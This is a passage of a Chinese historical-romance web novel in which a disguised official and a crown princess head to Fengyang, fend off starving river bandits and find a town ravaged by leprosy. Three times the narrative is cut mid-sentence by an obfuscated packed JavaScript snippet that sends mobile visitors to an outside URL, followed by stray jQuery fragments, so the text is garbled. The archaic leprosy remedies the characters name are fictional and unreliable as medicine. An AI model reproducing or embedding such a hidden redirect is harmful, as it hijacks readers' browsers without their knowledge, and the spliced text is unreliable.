好歹也是出身高贵的京城贵女,太子年少爱慕的青梅竹马,结果嫁过去后就被这样对待。
暗地里谁都会议论两句,可明面上,哪个有褚拭雪那么大胆子。
“你……”
啪啪——
褚拭雪先声夺人拍了几下手,身后几个侍从很快抬着一箱东西走了出来,他伸手指指那箱子:“这便是我的贺礼,至于陛下的,日后由您与太子妃亲自去陛下处领。”
看着那箱子,再看看褚拭雪身后明晃晃还摆着三四个,沈嫚儿忍不住好奇,说到:“只有这个箱子是贺礼吗?那后面几箱……”
“哦,那个啊……”褚拭雪故作一愣,回头看看又说,“奴才平时事情多,需要随身带的东西也多,其他几箱都是奴才的随身之物而已。”
随身之物……
带的随身之物比给人家的贺礼还多,说他是故意的,还是故意的?
沈嫚儿尴尬的咬咬唇,身体不由得多靠近了燕谨之几分。
燕谨之伸手回护她一下,明明面上无光,却还是说:“都督可真是,身娇肉贵。”
“哪里哪里,那这贺礼送到了,奴才就先告辞了,陛下还有事情要奴才去办。”褚拭雪一拱手,转身离开。
拿着皇上当挡箭牌,燕谨之就是想为难他都为难不了,只能眼睁睁看着他离开,端的一副翩翩君子样。
直到宴会结束,殿内中央只剩一个木箱放在那,孤零零又带着些嘲讽感。
燕谨之吩咐着让人把东西扔出去,便搂着沈嫚儿离开了,只剩宁菘蓝一个还站在殿内。
望着那惨遭丢弃的箱子,有点想笑,她最佩服的就是褚拭雪恶心人的能耐,只要不恶心她,她就爱看的很。
“娘娘,那个叫都蒙的小哥来了咱们殿一趟,还送了好几个大木箱。”红螺突然来到宁菘蓝身边,附到她耳边说。
“都蒙,大木箱?”
“对啊,就这种箱子。”红螺指了下她们面前的,又说,“只不过那几个箱子比这个还要大一号,奴婢看了,里面全是金银首饰。都蒙小哥还说了,说那是他们主子补给姑娘的生辰礼,说送了太子妃一箱,就要送盟友更多箱。”
“盟友?”宁菘蓝挑挑眉,“我们不是还没合作吗……”
“什么?”红螺没听清。
“没什么,走吧。”宁菘蓝的心情莫名好了一点,也许是因为她这个和自己站在一个战线的盟友吧。
而这头的褚拭雪慵懒躺在摇椅上,瞥眼刚飞下来的都蒙,带着些笑意:“她说什么了吗?”
“…啊?我没见到宁姑娘,她好像还没回来,不过没事,我交代她那个叫红螺的贴身婢女了……”都蒙挠挠头,傻笑一下。
没想到褚拭雪眉头一皱,“嘶”了一声:“你怎么不等她亲自看看就回来了,被别人告诉和自己亲眼看到,那能一样吗?”
“怎么,您是想知道宁姑娘有多么惊喜吗?”
“……蠢材,本都督懒得理你。”褚拭雪沉默了一下,直到看到都蒙带着点戏谑的眼神,又转过身子不再言语。
都蒙见状耸耸肩,反正明日又要见到了,他这次就不在中间传话不行吗。
第二日,宁菘蓝按照计划向燕谨之他们辞行。
“老老实实在东宫待着不行吗,非要去看什么先生?”燕谨之有些不满。
宁菘蓝怀中抱着古琴,不卑不亢:“我已许久未见先生了,且近来疏于练习,琴技有些生疏,要再与先生多学习一些。”
“那嫚儿怎么……”
“正是因为嫚儿没有姐姐这样的严于律己,才总是难以精进吧。”沈嫚儿打断了燕谨之的话,又劝到,“殿下,这是我们学艺之人的坚守,您就让姐姐去吧。”
燕谨之一皱眉,他将手从沈嫚儿手中强行抽离,看着宁菘蓝:“毋虞,本太子从小发誓会爱护你,让你开心,如果你坚持要去,那本太子不会阻拦。但你可想好了……”
不等燕谨之将话说完,宁菘蓝立刻福了一下身子:“多谢太子殿下,毋虞会尽快回来的。”
说完便转身离开,没有给燕谨之说下去的机会。
“……你?”
燕谨之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15047948|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着那背影,却再也抓不住。
宁菘蓝借口师父在秘密闭关,故只带了红螺一人离开。
她们没走多久,宁菘蓝便遣红螺回去,自己翻身上马去寻褚拭雪。
“娘娘,您自己能行吗?不若还是奴婢……”
“别担心我了红螺,你先回奕国公府,让他们都替我打掩护——”
声音渐远,红螺也不懂自家姑娘在着急个什么劲。
同样的,都蒙也不太懂。
谁知道为什么褚拭雪一大早就起来练功夫,练完还专门洗个澡再出发。甚至前一天特意吩咐人准备了一辆马车赶路,里面布置得柔软又舒适,要知道从前他们查案子可都是骑马来回的,困了累了只有睡路边的待遇。
他们在一处密林外等着,都蒙把玩着手里的缰绳,眼神时不时看向马车内部,此刻自家主子正端坐其中,有一下没一下地抛着手里的葡萄。
“驾——”
伴随着飘来的沙,不远处突然传来马蹄声,宁菘蓝端坐在马身上,冲着他们疾驰而来。
“吁——”
她将缰绳向后扯,绳体在马身上勒出一条优美的线,她将缰绳尾端高高扬在天空边缘,马蹄扬起又骤然踏下,都蒙没忍住闭了下眼睛,再睁开,便看到竖着高马尾的宁菘蓝正在他面前歪头看。
“褚拭雪呢?怎么没见他?”
都蒙没忍住咽了下口水,满脸佩服地冲马车喊:“主子,宁娘子的出场,比您还潇洒!”
“主子?”
宁菘蓝也跟着看向马车,马车车窗此时正开着,顺着那角度望去,宁菘蓝恰好撞上褚拭雪的视线。
他就端坐其中,手中握着葡萄,看着她的动作,讳莫如深。
“……褚拭雪,你这又是马车又是水果的,不会以为咱们这是要出门郊游吧?”宁菘蓝有些无奈
连她都骑着马,生怕路程长耽搁时间,他可好,安安生生坐在马车上放松。
“正是因为要出远门,才需要坐马车,不然以你的身体,没赶两天路,腿就得被磨破,到时可没人替你擦药。”
“……”
宁菘蓝看看他那舒适的马车,再感受下自己屁股下面坚硬的马鞍,不得不承认他说的是对的。自己的身体自己最了解,若真是马不停蹄骑马赶几天路,不说腿,身体也得累趴。
“别犹豫了,上马车。”
宁菘蓝一愣,她看了眼从车上下来的褚拭雪,只见褚拭雪走到她身边,拉着缰绳。
“你做什么?”
“我和都蒙骑马,你坐车上去。”
“我不需要,我也能骑马的。”
“……那这样,我们交换着来。”褚拭雪妥协。
“交换?真的吗?”不等宁菘蓝说话,都蒙先惊喜。
“不包括你。”
褚拭雪将宁菘蓝赶下马,看着她老老实实上了车,才上前去将车窗关上。
都蒙被一句话噎的呛口水,眼睁睁看着褚拭雪翻身上了宁菘蓝的马。
“主子你……”
“少废话,抓紧时间赶到奉阳郡。”
朝阳正冉冉升起,不断跳离地平线,伴随马儿嘶鸣声,几人身着骑装,扬马挥鞭,向着远方疾驰而去。
21. 第 21 章
从京城到奉阳郡,若是要走最快的路径,便是先走三日陆路,再走两日水路,水路到岸便抵达了奉阳郡的边缘城镇,武城。
若是奉阳郡当真如每季奏折上所报一般,那么即使是最偏远的武城,也应该生活富足,家家户户有余粮。因此只要到武城一看,奉阳郡的实况应该就能自其中窥见了。
“褚大人,你累吗?要不要换一换。”
宁菘蓝一推窗户,冲着旁边骑马的褚拭雪喊。
褚拭雪闻言看她一眼,有些无奈:“出门在外要伪装身份,你这么大剌剌一喊,我岂不是白伪装了?”
“……”
宁菘蓝默了一下,上下打量打量褚拭雪的脸,有点不满意:“你连胡子都没粘,这叫伪装吗?”
“……噗,”褚拭雪好像想起了什么,扑哧笑了一下说,“你觉得你上次的胡子伪装,很逼真?”
宁菘蓝皱眉想了一会儿,才想起什么是上次的伪装:“不,逼真吗?”
“莫说是我,就是当时的老鸨,也一定一眼就看出了你们二人是女子,所以,那胡子有用吗?”
宁菘蓝一愣。
她倒是没质疑褚拭雪的话,因为当时她们点乐琰,看那老鸨的反应好像一点都不惊讶,她当时还纳闷这老鸨对断袖之情接受度还蛮高,现在一说,大抵的确是认出了她们是女子,才没那么大反应。
“……那请褚先生教教我,该怎么正确的伪装?”宁菘蓝自觉地冲褚拭雪求教。
“你倒是能屈能伸。”褚拭雪满意地看她一眼,才说,“对于普通人来说,伪装更多只是改变面容,至于身形、身高等很难轻易改变。尤其是男女之间的转换,比如你们当时,稍微有些眼力的人都能一眼看出你们是女扮男装,因为男女的骨骼有着非常大的区别。”
“所以,伪装还是要根据本人的形象来进行改变。比如我是一个身姿挺拔的男子,身材较为清瘦,并且常年习武,与普通人的行走方式完全不同,便只适合扮演一个行事麻利的副手,而像我们主子这种气质不凡的,就适合扮演一个……主人!”都蒙不仅接话,还夹带私货,给自己和褚拭雪都夸了一遍。
宁菘蓝无语的看了他一眼:“那我呢?”
“您啊……”都蒙沉吟了一会儿,暗戳戳看看褚拭雪,“要不就扮演我们主子的妹妹。”
“妹妹……谁外出行商带妹妹啊?”宁菘蓝皱皱眉,带着点厌恶的意味又道,“除非是那种情妹妹……”
“啊,哈哈哈,我可没说啊,你自己说的。”都蒙挠挠头,眼珠鬼灵精的转了几下,自己又偷偷跑前面去了。
褚拭雪仍骑着马走在马车旁,只笑,又不说话。
“你笑什么?”都蒙跑了,宁菘蓝就拿他主子开刀,咧咧牙质问道。
“……没笑,只是好奇,你到底想当我的谁?”
褚拭雪慢条斯理地说,这话放在宁菘蓝耳朵里,莫名让人感觉歧义。
宁菘蓝有些犹豫,的确,外出行商却带了一个女子,这是最大的问题。
大安基本从来没有经商的女商人,小摊贩的话也就算了,但是能与一县做生意的那种大商户,可以说在大安是闻所未闻,见所未见的。若是她装扮为与褚拭雪合作的女商,那山乐县的人会不会觉得他们不靠谱?
“若是不想与我扯上男女关系,那便就说,是我本家学习经商的亲妹吧。”褚拭雪没让宁菘蓝纠结太久,开口道。
宁菘蓝闻言一怔:“大安向来不允女子学习商道,你不怕山乐县人见了,不待见我们?”
褚拭雪看她一眼,表情认真:“那我这样和你说。大安建朝时,曾有一位开国将军名为秦薇歌,她是女子身,但武艺高强,前朝名将有一半都是死于她手,女子连将军都能做得,为何商人做不得?”
他默了一下,又说:“你不是号称自己能骑马打仗吗?区区一点偏见应该难不倒你。”
“……你对我这么有信心吗?”
宁菘蓝没想到这样一番新思想的发言能被一个封建朝代的人说出口,在褚拭雪的眼中,好像女子真的和男子毫无差别,甚至更强大。
“不是对你有信心,是对我看人的眼光有信心,女子并非生来弱小,更何况是你?”
隔着窗子,宁菘蓝看到褚拭雪嘴角微微挑起,眼眸中满是自信与不可一世,但那种自信不是对他自己的,而是对她的。
此刻头顶明媚的阳光不仅给他的身体镀上一层光泽,更是凝在他唇角的那抹笑上,刺得宁菘蓝怔忪,却又不肯移开视线。
“主子,宁姑娘,我们马上要到客栈了,在这里歇一夜,明日我们就能上水路了!”
都蒙兴奋地骑马回来,只看见自家主子眼神不自然地朝一边撇着,嘴角藏着难以察觉的笑意,而宁姑娘则是直白地盯着主子看,专注又认真。
可听到他回来的动静,宁娘子又立刻将眼神收回,手忙脚乱地关上了窗子,“碰”的一声,震得旁边的褚拭雪动作一僵。
“……都蒙。”
褚拭雪的声音听起来有点咬牙切齿。
哪怕到了客栈,褚拭雪的脸色也依旧没有好转,说话阴阳怪气的。
都蒙问:“店家说没剩几间空房了,让咱们挤挤,主子……”
“你睡街上。”褚拭雪冷漠脸。
都蒙自知自己破坏了褚拭雪的大好心情,委委屈屈不敢说话,只能求助般看向宁菘蓝。这边的宁菘蓝还在看戏,突然被都蒙这样盯着深觉有些尴尬,二人眼神交流。
宁菘蓝:看我干嘛,我说话管用吗?
都蒙:管用!特别管用!
宁菘蓝:好吧。
“要不这样,你和你主子挤一挤,我单独睡一间?”
宁菘蓝越说越没底气,褚拭雪脸黑的像要吃人,虽然她不懂为什么他又莫名其妙生气了。
“……嗯。”
褚拭雪沉沉回了声,便跟着领路的小二上楼去了。
看着他的背影,宁菘蓝小声问:“他为什么又生气,他的脾气怎么这么大啊…?”
都蒙闻言大惊失色,边摆手边冲她使眼色:“嘘,嘘——”
“怎么…”
“都蒙你如果还不上来,就永远别上来了!”
“主子,您怎么光冲我发脾气啊,您都不说宁姑娘的……”
都蒙立刻着急忙慌地边说边往楼上跑,声音越来越远,留下宁菘蓝一个人站在原地。
褚都督这脾气,得亏都蒙衷心,不然早叛变了。
宁菘蓝如是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068749|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想。
在客栈休整一夜,第二日他们踏上了水路。
宁菘蓝不怎么晕船,便半倚在船壁上仰头看天。不得不说古代的空气质量和环境真的纯天然无污染,蓝天白云都比现代的要漂亮。
而她的身旁站着褚拭雪,这人站在摇摇晃晃的船上如履平地,脚下稳得像踩了什么稳定器。他环抱着双臂眺望远处,挺直的鼻梁使他的侧脸线条极为流畅立体。
“你为什么那么恨燕谨之?”褚拭雪突兀问到。
宁菘蓝眼眸一颤:“我以为你不会问这个问题。”
“如果你说你不想回答,我就再也不问。”
“……不必。”宁菘蓝举起一只手挡在面前,阳光自指缝穿过,在她的脸上撒下星星点点的痕迹,“如果我说他杀过我一次,你信吗?”
褚拭雪眉毛一皱,冲宁菘蓝走近几步:“什么时候,伤口在哪?”
“……骗你的,没有。”她掩饰般笑了笑。
听到这话,褚拭雪非但没有放松下来,反而眉头皱得越来越紧:“你的声音告诉我,不是骗我的。”
宁菘蓝一愣,嘴角硬挤出的笑放下来了:“我的声音,怎么了?”
“很委屈,很委屈很委屈…很委屈。”
褚拭雪难得说了这么多遍,宁菘蓝忍不住仰头看他,却发现他的表情凝重又严肃,好像被杀过的人是他。
“其实,你想扳倒燕谨之,我会帮你。”二人久久沉默后,他突然又说。
“不需要条件?”
“不需要。”
“……那你把我骗来!”宁菘蓝本来还有点感动他的话,可突然又明白过来什么,怒目瞪向他。
褚拭雪被一瞪,表情有些不自然:“你自己非要来的,我哪里骗你了,如果真的不满意…那你回去好了。”
“……你在开什么玩笑,马上就到了你让我回去?”
宁菘蓝愤愤地说着,扭头看向岸的方向。他们再走一会儿就上岸了,上了岸,就是武城。
褚拭雪也自觉心虚,轻咳着嗓子进船舱去叫都蒙。都蒙一上船就吐得昏天黑地,眼下还在船舱里虚弱地躺着。
“主子,终于到了,如果再不到,您只能带着我的尸体去查案了!”都蒙呜呜哭着,鼻涕都快要蹭到褚拭雪身上,惹得褚拭雪连连后退。
只是明明只剩一点的距离,他们的船行驶着行驶着,却突然停下。
褚拭雪感受到船身晃动得有些剧烈,想起还在船舱外的宁菘蓝,立刻扭身走出去找人,刚走出去,便看到好几只船围在他们周围,船上的人各个凶神恶煞。
站在甲板中央的宁菘蓝直面着他们,表情冷凝,而她身边的船家则身体微微发抖,稍落后于她站着,像是在寻求她的保护。
褚拭雪立刻走到她身边,将她的胳膊微微向身后抓了抓,问:“怎么回事?”
“这群人是从那岸边来的,咱们的船刚刚靠近,就被他们突然围上来了,来者不善。”
褚拭雪闻言,又扭头看向那群人,对着正面前的那人喊道:“这位兄弟,能不能行个方便让我们上岸?我们是从天婺郡来的铁矿商人,来和你们做生意的!”
“哼,生意?我们这穷山恶水的地方哪里有什么生意和你做!”
22. 第 22 章
“如何会是穷山恶水呢?饶是我们相距甚远的天婺郡,都听闻过您奉阳郡矿产丰饶,人人富裕,所以我们这才来和你们做生意。”
褚拭雪朝为首众人拱了拱手,面上挂着些阿谀的笑,精明的商人形象跃然而出。
可不想为首的人听到这话反而勃然大怒:“富裕什么富裕!也就是你们这群闻着味儿凑来的恶狗觉得富裕,我们但凡手上有些钱都不至于落到这般田地!”
这人看起来气得不轻,所言不像做假,这只能说明奉阳郡内部是真的有问题。
“大哥,跟这群要死的人有什么可说的,赶紧抢钱才是,你忘了小虎子他们还等着咱们吗!”侧前方稍靠后的一条船上,一个手中拿着斧头的人喊着。
这人长相粗旷,胳膊上肌肉贲张,一条条青筋自手背向上蔓延凸起,看起来像是常年劳作在阳光下,肤色黝黑,整个人站在船头像头熊似的。
他的脾气大抵暴躁,在发现那个被叫大哥的人没反应时,他垂下头咒骂了两句,随即转过视线看向褚拭雪等人,脚下一个跳起,连跨两步跨到了距他们近在咫尺的位置。
“妈的,你们不上老子上!”
说着,他双手握住斧柄,将斧子蓄力般向后,又猛地朝前甩,斧头飞出的速度极快,直直朝向褚拭雪他们而来。
“小心…”
褚拭雪时刻注意着这人的动作,在他刚将斧子向后扬时,褚拭雪就向后伸手,想拉着宁菘蓝闪开,可手一下抓了个空。
他错愕回头看了一眼,发现宁菘蓝已动作极快的带着船夫撤到船侧,现在正看着他。
合着,现在只有自己在斧头的攻击范围内?
褚拭雪一时之间心情复杂,不知道现在是只有自己身处险境让人难过,还是宁菘蓝连跑都想不起他更让人难过。
他表情凝重,也不朝一边跑了,只将头一歪,同时向耳侧伸手,一把抓住了即将飞过自己的斧头。
斧头本带着凌厉的破风感,常人在这时伸手去拽极易被带倒,可褚拭雪不同,他手稳极了,骨节分明的大掌控住斧头,细长的手指只稍微一蜷就能握住那粗柄。
他将斧头慢慢拿到自己脸前,端详了几下,随即便又将其转过去,手臂绷直,斧尖冲着劫匪们:“有话好说,不必动手吧?”
明明语气是好好商量的意思,可他的表情又像结了冰霜似的,看起来比刚刚那大汉还要凶上几分。
“……这小后生有点意思。”老大看着他的动作,眯了眯眼睛。
那大汉此刻就站在他们老大身边,听到老大这话,立刻去看人,嘴上有些急躁:“大哥,你什么意思,不打了,不抢了?那小虎子怎么办,我媳妇怎么办?”
“我没说不抢,你急什么急。”老大没好气地瞥了眼大汉,也没什么再说下去的意思,“上吧,赶紧打完咱们回去。”
“得令!”
身后一群人异口同声回答,随即便齐齐看向中央的那艘船。
宁菘蓝已经将船夫推进船舱,左右都蒙现在虚弱成这样也没法打,不如让他们两个待在里面别碍事。
至于外面,宁褚二人背靠背,站在一起。
“你可以吧?”褚拭雪将斧头递过去。
宁菘蓝却伸出指甲将其向外推了推:“我不需要这东西,拿起来又重又不趁手。”
“好,以后给你找个轻的。”
褚拭雪应声,随即便操着斧头迎上对面而来的劫匪。
眼下什么都没查清,能不杀人则不杀人,故褚拭雪将斧背朝外,随手向左前一拍,拍倒了一个劫匪。
接着他一手握住正面扑来的劫匪衣领,借力跳起,一个前翻,双腿踹倒右边的人,伴随着腿上动作的,是他的手臂,即使因为身体前翻而显得有些别扭,但于他而言并未有什么限制,他只是借着身体腾空的时机,将臂重环上正面人的脖颈,大臂用力夹紧,将人控制在了臂弯里。
因常年习武,本身身体轻盈,他脚步轻点落在船上,手臂却带着力道,直接将人按倒在地。
宁菘蓝这边即使没有武器,单凭身手也并不怎么吃力,因为这群劫匪看起来不像是专业的,更像是因为太穷了不得不变成劫匪。
若是落草为寇的,那与他们交好,也许能获得更多信息。
于是她并不执着于出击,更多是在防身,她抓着自四面扑来人的衣领,像只飘飞的蝴蝶飞在他们眼前,一会儿落在这人身后,一会儿落在那人身旁,比起褚拭雪真刀真枪的打斗,她的行为更像是在嘲讽。
“妈的,你这女人,要打就打跳什么!”
“这位兄弟别误会,我们来这里真的只为做生意而来!我们此行还带了银钱、干粮、医士,你们若是有需要尽可向我们说。”宁菘蓝尽力沉下嗓音,用最温柔的语气安抚着这群劫匪。
落草为寇的还能是因为什么,钱不够、粮不够、活不下去了……还有什么?
宁菘蓝努力蒙着他们的诉求。
“等等!”两边正打着,老大突然出了声。
几人的动作突然顿住,褚拭雪一手制着人,单膝跪地,抬头看向老大,宁菘蓝也不动了,侧过头看去。
只见老大有些激动又有些犹豫:“你说,你们有医士,那种疑难杂症,可能看?”
宁菘蓝眼睛一亮,扭头与褚拭雪对视一眼:“……也许可以,让我们试试!”
“停手,都停手!”
老大声嘶力竭地吼着,其他人才不情不愿的将手松开。
几人进入了暂时的和平,宁菘蓝等人跟着劫匪们上了岸,他们被蒙上黑布推着走向一个未知的方向。
也许是因为视力受到限制,他们的其他感官变得更加灵敏,行走间只听到那群劫匪在身后议论。
“他们说的话到底可不可信,小虎子他们的病真的能治好吗?”
“只要有一线生机,咱们都不能放过!咱们去劫人本来就是为了有钱能给他们找医士,现在一个现成的医士在这,咱们得试试。”
“希望小虎子他们这次痊愈吧,等痊愈了,咱们就带他们离开这鬼地方!”
“妈的,离开什么离开,等他们痊愈了,我马大茂立马就杀去那山乐县,把那县令砍个十块八块泄愤!”
这声音是那个脾气暴躁的大汉。
马大茂没察觉到他们在偷听,声音没有压低,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087460|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍在说:“看我们武城人得病了,便直接封锁不许我们出去,不许我们求医,他们这样草菅人命,我怎能轻易放过他们!”
“好了好了,你轻声些,别被他们听到!”与他同行的人低声提醒。
可已经晚了,宁菘蓝等人已经听个七七八八。
此刻,前头领路的也已经停下了,他们一一将蒙在宁菘蓝等人眼上的布拉下来。
眼前是一个不起眼的小院子,属于万千城镇中最普通的那种。只是此刻这院子大门紧闭,里面还时不时传来隐隐的哀嚎声,放在这空无一人的城里,显得有几分可怖。
是的,眼上的布一被放下,宁菘蓝、褚拭雪就左右打量了周围的环境,明明是半下午的时间,应该人来人往、热闹非凡的城镇,此刻却空无一人。
且一路走来,除了身后其他劫匪的交谈,其他人声再无,简直像一座死城。
为首的名为鲁锡的大哥看出他们的疑惑,沉声道:“别再看了,整座城除了我们和院子里的人,其余都死完了。”
“灭城?”褚拭雪蹙眉。
“这座城,是灭了。天灾、人祸,这座城都摊上了。”
鲁锡深深叹了口气,又说:“接下来你们看到的,也许将是你们人生中最恐怖的画面,做好准备。若是没有那个承受能力,就叫你们医士自己进来。”
褚拭雪看了眼宁菘蓝,说:“我就是医士,她不是,就别让她进了。”
“你,你会?不如我和你一起……”宁菘蓝有些急,上前一步扯住了他的衣袖,冲他使眼色。
“久病成医,我会的比你想象得多。”
褚拭雪不许她进去。
院子里到底是什么情形他们都不知道,也许一进去就会有什么危险。按鲁锡等人表现出来的样子,这些病人都被隔离进了这间院子里,也许会是什么致命的传染病。
不管是于公,还是于私…褚拭雪都不想她陷进去。
“你……”
褚拭雪将宁菘蓝的手拂下衣袖,却又随即用自己的手握住她的,将她引到了一旁放着的座位上让她坐下。
他力气虽轻,却带着不容反驳的意味,宁菘蓝不自觉地就顺着他坐了下来。随着她的动作,褚拭雪在她面前顺势蹲下身子,一只膝盖微微触地,仰头看着她。
“我进去,你和都蒙安心在外面等着,若有什么事,我相信你能处理好……”
褚拭雪话中有交代的意思。
若是他出什么事了,宁菘蓝就是代替他位置顶上的那个,顶替他,带着都蒙,去找山乐县的秘密,去找竺七。
“主子,我和你一起进去。”都蒙蹙眉,显然明白里面不会是什么好东西,也明白如果褚拭雪就这样进去,有可能出不来。
褚拭雪没应他的话,只是轻轻包裹了下手心里那只更小的手,在皮肉轻蹭一起时,他动作微顿,不敢再收紧,猛的放开。
“你们别再磨叽了,医士是谁赶紧进去啊!”马大茂几步走来,声音带着焦急不满。
褚拭雪闻言站起身,回过头看了一眼宁菘蓝二人,随即低下头扯了一节衣服布料蒙在脸上,跟着一个蒙脸的劫匪走进了院子。
23. 第 23 章
从外部看来,这院子之前应该是某个有钱人家的,门上牌匾还挂着。
推门进去,院子的布局明显有些讲究,跨过门槛只见一片宽阔的平整院落,右手侧是铺着青石路的雕花廊,向深处走有一片池塘,里面放着精心雕琢的假山景,若是曾经,定是一片宁静的风景。
只是此刻,院子已经败落不少,游廊周围本精心打理过的花圃草地杂草丛生,院中的树也生长得肆意,枝干横生、虬枝疯长,曲折着长到天际,遥遥看像是恶鬼自地下伸出的一只手。
不等褚拭雪多看两眼,马大茂已经想扯着他往屋里走:“快进去看他们,还有,你小子一会儿要是露出任何表情让我老婆难过了,老子打死你,听到没有!”
褚拭雪蹙了下眉,虽然出门在外一切要忍,但他好歹也是一人之下万人之上的都督,这个马大茂字字句句没有一丝尊重。
他稍稍一侧身子就躲过了马大茂向他伸来的手,冷声道:“我是医士,不需要你说。”
说完,他便主动穿过游廊走到了屋门前。
白皙修长的手轻轻一推,原本昏黑的房间泄入一丝光亮,房内横躺得七七八八的人们被骤然的光照得晃了下眼睛。
而门外的褚拭雪,借着日光,一眼看到了距他最近的那个女人。
女人神情痛苦地倒在地上,其面部、躯干和四肢,大量红色以及淡黄的斑疹、斑块分布其上,东一块西一块,没有规律可循,也极不对称。部分斑块中央有很明显的白色,形成明显的环状,微微起皮,是皮屑。
再往里看,其他病患身上均有斑疹,有的面部毛发已经尽数脱落,他们躺在地上,有时忍不住将脚底放在粗糙的石头上,不住摩擦,石头上的血迹有的黑有的红,不知道被摩了多少次。
再往里的,就看不见了,他只能看到有几个人形轮廓在地上爬,手向前摸索着,不知是他们因为光线太暗看不清东西,还是本就失明了。
伴随开门的动作,房屋内此起彼伏的哀嚎声与恶臭味一起蔓延而来,褚拭雪适时将身子侧在门框边,轻捂口鼻。
世人只道阿鼻地狱,可他们不知真正恐怖的地狱其实在人间。
“娘子,娘子你怎么样!”
马大茂本站在褚拭雪身后,可刚看到门内的景象,他就疯了一般跑进去,跨过门槛腿一软,膝盖蹭着地面滑了过去,他颤抖着手抱起那个倒在门边的女人,眼中止不住淌下热泪。
“娘子,你莫吓我,我已将大夫带来了,你醒醒,大夫一定会治好你的,嗯?”
他有些语无伦次,只能想起什么说什么,颠三倒四:“我们说好,治好了病就要一个孩儿的…我们说好要做生意,我卖猪肉你卖炊饼,供我们孩儿读书考状元……你说咱们大安有万千河山,夫君还没带你去看呢……”
“这样的症状多久了?”褚拭雪问。
马大茂一愣,立刻回过头说:“有,有段时间…一开始我娘子只是说身上痛,哪里都痛,半夜痛得睡不着觉常常叫我帮她揉,可是我轻轻一碰她,她又痛的受不了……”
“我是问她感到不舒服已经多久了?”
“……两年了。”奄奄一息的声音自男人怀中传来,那个唇角带血的女人眼睛微微睁开,将头朝向褚拭雪,一字一句道,“我痛两年了,一直以为就是白日里做活累着了,没去看大夫,也是后来城里很多人发病,我才觉得不对劲…可是已经晚了,我身上开始长斑疹、掉头发,脚底也生了红疮…”
“小白脸,这到底是什么鬼病啊!”马大茂抚着怀中妻子的脸,怒吼。
听到马大茂暴躁的问话,本奄奄一息的女人突然瞪大眼睛,强撑着力气举起手掌,扇了他一掌:“马大茂,你给我放尊重点!”
女人用的力气不小,那么大块头一个汉子,脸都被扇侧过去了,只是这马大茂被突然扇了一下也不恼,只是吭哧吭哧两下,用一只手挠挠发红的侧脸,瞪了眼褚拭雪不说话了。
褚拭雪没计较什么,只是又给自己脸上加了层布料,走进屋子转了一圈,将屋内众人的症状都看了一遍,接着重又回到马大茂夫妇身边。
“未发病时全身肌肉、关节疼痛,发病后先是斑疹,接着毛发脱落、脚底溃烂,再发展则是肌肉萎缩、神经损伤,最后伤及内脏至死。”褚拭雪总结道。
“是,是,是这样的!”马大茂眼睛一亮,激动,“是什么病啊先生,能治吗?”
“是,疠风…也叫麻风。”
马大茂一愣,他看看怀中不再言语的妻子,不敢置信:“你说什么呢…他们怎么会是疠风,他们身体都很好,只是有些营养不良,可能做活做得太累了……不会是,不会是疠风……”
不怪他难以接受,就连褚拭雪本人在刚察觉时也不敢置信。只因疠风是极为恐怖的传染病,即使已经能被治愈,但那药都是钱财堆出来的,是只有富人才生得起的病,于他们而言,生了这病除非去偷去抢,否则只能等死。
女人此刻却突然低低笑出了声:“原来是疠风啊,我说呢……知道了就好,知道了就好大茂,等我死了……”
“你不会死。”
马大茂垂着头,紧紧抱着怀中女人的身体,打断了她的话。
“如果他治不好你,我就找去山乐县,我打上县令府,把那些好大夫全抓来,治不好你们我就杀,把他们全杀了我也会治好你们的……那些药,我去医馆买,或者抢,只要能治好。”
这人平日说话吆五喝六,凶巴巴的,可此刻却哽咽到几次停顿。
“要治疠风需内外配合,内服万灵丹、苍耳散,外用狼毒、生肌散、红油丹涂抹患处,这些药每天都用,直到痊愈。”
褚拭雪边说话边垂着眼眸看他们,看夫妻二人紧紧相拥,在死亡面前诉说爱意。
爱真是一个奇怪的东西,瘦骨嶙峋却坚强的女人、粗旷但止不住落泪的男人,他们都变成了相反的样子。
那我呢?
褚拭雪忍不住想,若是有朝一日他有了软肋…
一瞬间,他脑子浮现出很多东西,可最清晰的,是宁菘蓝坐在座位上,手指与他的交缠,他只看得到她眼眸中的担忧与难以言说的情绪。陌生的柔软被他握在手心,那时私心般轻轻蹭动手指,传来的战栗即使到现在还在他心上残余。
莫名的情绪上涌。
